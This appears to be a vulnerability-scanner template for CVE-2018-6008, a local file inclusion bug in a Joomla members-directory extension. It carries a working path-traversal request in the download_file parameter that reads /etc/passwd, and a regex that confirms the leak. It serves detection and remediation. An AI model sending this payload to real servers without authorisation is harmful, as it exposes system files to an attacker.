id: CVE-2018-6008

info:
  name: Joomla! Jtag Members Directory 5.3.7 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Jtag Members Directory 5.3.7 is vulnerable to local file inclusion via the download_file parameter.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.
  remediation: |
    Update Joomla! Jtag Members Directory to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43913
    - https://packetstormsecurity.com/files/146137/Joomla-Jtag-Members-Directory-5.3.7-Arbitrary-File-Download.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6008
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6008
    cwe-id: CWE-200
    epss-score: 0.3768
    epss-percentile: 0.96853
    cpe: cpe:2.3:a:joomlatag:jtag_members_directory:5.3.7:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: joomlatag
    product: jtag_members_directory
    framework: joomla\!
  tags: cve2018,cve,joomla,lfi,edb,packetstorm,joomlatag,joomla\!

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220366ea8f6eabe8f7fe1d1af4ce9b6fdd86c53702b2427ffaaa91fdeb6c139c77402210086e4d831ecc7b1f17817a499555c0a272319b49cdb3789ee5a671751f3aaf3d9:922c64590222798bb761d5b6d8e72950